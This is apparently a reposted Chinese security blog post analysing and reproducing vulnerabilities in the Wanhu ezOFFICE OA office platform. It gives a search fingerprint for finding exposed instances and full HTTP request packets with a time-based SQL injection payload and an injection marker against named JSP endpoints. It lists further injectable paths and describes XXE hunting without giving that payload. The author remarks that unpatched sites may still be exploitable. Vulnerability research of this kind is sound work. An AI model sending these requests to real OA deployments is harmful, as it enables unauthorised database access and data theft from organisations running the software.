万户OA漏洞分析复现

admin 2024年2月17日00:14:02评论35 views字数 3429阅读11分25秒阅读模式

万户oa是协同办公平台,可以帮助企业实现高效协同办公和信息资源的共享。万户oa具有多种功能,包括文档管理、组织架构、日程安排、任务管理、邮件管理、审批流程等,可以满足企业不同部门的日常工作需求。

以下分析的漏洞大部分都是在野的,而且有些注入已经有师傅提交过cnvd了,所以写个公众号也就没啥了(别问我怎么知道的因为我去提交的时候提示我重复了,后来发现有在野利用但是厂商有的接口已经做限制了)

一.指纹信息:app.name="万户 Ezoffice OA"

二.漏洞分析

1.SQL注入

SQL注入一些常见的审计参数:

${}selectinsertupdateinlikeorderbystatementcreateStatemenPrepareStatemen

这一处sql注入也是比较奇怪,怎么说呢代码上看是一段处理数据和页面输出的一个过程,但是他接收的参数是外部可控的使用延时注入可以注入成功。

源码位置是在wf_process_attrelate_aiframe.jsp处的fieldId参数,怎么说呢这段代码它用于生成一个option元素的HTML字符。具体来说,它根据传入的fieldId参数从数据库中获取数据,并将数据转化为对应的option元素。

详细点说前面的response.setHeader("Cache-Control","no-store");那几行是设置响应头,往下走就可以发现fieldId从请求中获取名为fieldId的参数,并使用它调用了uibd.getDataWithFieldId() 方法,将结果存储在名为 list 的变量中。在往下走就是从请求中获取index 的参数,并将其存储在名为 index 的变量中。然后创建一个optionHtml的字符串,然后根据从数据库中获取的数据构建了<option>元素的 HTML字符串,然后存储在 optionHtml 变量中。

万户OA漏洞分析复现

数据包:

GET /defaultroot/platform/bpm/work_flow/process/wf_process_attrelate_aiframe.jsp;?fieldId=1%20WAITFOR%20DELAY%20%270:0:5%27--%20FMZL HTTP/1.1Host: xxxxxCookie: SESSIONIDOA=77EF17AF022E93BFB5F13171232B9348; LocLan=zh_CN; SESSIONIDOA=AFB0E87FFE37C3C310270A00B53D1E20Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "macOS"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close

万户OA漏洞分析复现

2.SQL注入

这个sql注入我到现在也就注入成功不超过五次算是时间比较早的了修复的站很多都不太能打,不过老的站可能还能打碰运气了。

代码位置DocumentEdit_unite.jsp参数是RecordID,看到参数是从外部请求的,往下走发现直接进行了sql拼接中间没有做任何的处理,然后ExecuteQuery(mSql);

万户OA漏洞分析复现万户OA漏洞分析复现

数据包:

GET /defaultroot/public/iWebOfficeSign/DocumentEdit_unite.jsp;?RecordID=1* HTTP/1.1Host: xxxxxCookie: SESSIONIDOA=77EF17AF022E93BFB5F13171232B9348; LocLan=zh_CN; SESSIONIDOA=AFB0E87FFE37C3C310270A00B53D1E20Sec-Ch-Ua: "Chromium";v="118", "Google Chrome";v="118", "Not=A?Brand";v="99"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "macOS"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Language: zh-CN,zh;q=0.9Connection: close

还有其他的接口存在注入就不分析大部分源码都差不多参数传进来然后拼接,就不分析了直接看接口吧。(别人已经提交cnvd厂商估计已经出补丁包了,就凭运气能不能碰到了)

/defaultroot/platform/portal/portlet/pic/pic.jsp?channelId=1/defaultroot/public/iWebPDF/DocumentEdit.jsp;?RecordID=1

3.XXE

XXE审计常见的函数:

DocumentBuilderDocumentBuilderFactoryXMLStreamReaderXMLInputFactorySAXBuilderXMLOutputteroracle.xml.parser.v2.XMLParserjavax.xml.parsers.SAXParserorg.dom4j.io.SAXReader org.dom4j.DocumentHelperorg.xml.sax.XMLReaderjavax.xml.transform.sax.SAXSource javax.xml.transform.TransformerFactory javax.xml.transform.sax.SAXTransformerFactory javax.xml.validation.SchemaFactoryjavax.xml.validation.Validatorjavax.xml.bind.Unmarshallerjavax.xml.xpath.XPathExpressionjava.beans.XMLDecoder

其实我觉得全局搜索这些函数基本没啥卵用,快捷的方法就是全局搜索/services,/webservices或者wsdl这样。

一般审计拿到源码就是看web.xml可以看到能访问的路由有哪些,之前踩过坑审计半天发现能rce就是找不到路由在哪之后大佬教了一下说一般先看路由有哪些是可以绕过的什么什么的。

万户OA漏洞分析复现

万户OA漏洞分析复现

在全局搜索wsdl参数,我们就可以直接去访问路径然后去构造xxepaylaod,这样审计xxe是最快的

万户OA漏洞分析复现

这个能打的特别多暂时就不放payload了看看图吧大家。

万户OA漏洞分析复现万户OA漏洞分析复现

原文始发于微信公众号(Kokoxca安全):万户OA漏洞分析复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月17日00:14:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   万户OA漏洞分析复现https://cn-sec.com/archives/2149995.html

发表评论

匿名网友 填写信息